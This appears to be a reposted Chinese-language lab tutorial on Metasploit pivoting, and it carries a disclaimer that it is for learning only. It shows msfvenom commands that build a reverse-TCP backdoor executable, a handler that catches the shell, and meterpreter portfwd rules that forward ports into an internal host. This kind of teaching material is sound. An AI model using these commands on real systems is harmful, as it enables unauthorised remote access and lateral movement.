其他分享
首页 > 其他分享> > 跳板攻击之:MSF portfwd 端口转发与端口映射

跳板攻击之:MSF portfwd 端口转发与端口映射

作者:互联网

跳板攻击之:MSF portfwd 端口转发与端口映射

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

目录

1 portfwd 介绍

meterpreter > portfwd --help
Usage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:
-L <opt>  Forward: local host to listen on (optional). Reverse: local host to connect to.
-R        Indicates a reverse port forward.
-i <opt>  Index of the port forward entry to interact with (see the "list" command).
-l <opt>  Forward: local port to listen on. Reverse: local port to connect to.
-p <opt>  Forward: remote port to connect to. Reverse: remote port to listen on.
-r <opt>  Forward: remote host to connect to.

2 实验环境

image-20210901115147825

2.1 建立 meterpreter 反向连接

  1. 生成 Metaspolit 后门程序

    msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.0.2 lport=4444 -f exe > /var/www/html/evil.exe
    
  2. kali 配置监听 meterpreter 反向连接

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.0.2
    run
    
  3. WEB Server 下载 Metaspolit 后门程序,并打开程序

  4. meterpreter 反向连接建立成功

    image-20210901115116102

2.2 portfwd 端口转发

  1. 配置 portwd 端口转发

    meterpreter > portfwd add -L 192.168.0.2 -l 18080 -p 80 -r 192.168.100.151
    
  2. 使用 portwd list 查看是否建立端口转发连接

    image-20210901115352741

  3. 验证:

    image-20210901115415588

2.3 portfwd 端口映射

  1. 配置 portwd 端口转发

    meterpreter > portfwd add -l 12323 -p 23 -r 192.168.100.151
    
  2. 使用 portwd list 查看是否建立端口映射连接

    image-20210901115536582

  3. 验证:

    ┌──(kali㉿kali)-[~]
    └─$ ssh -p 12323 root@127.0.0.1
    

    image-20210901115626879

标签:端口,portfwd,转发,MSF,meterpreter,port,端口映射
来源: https://www.cnblogs.com/f-carey/p/16590588.html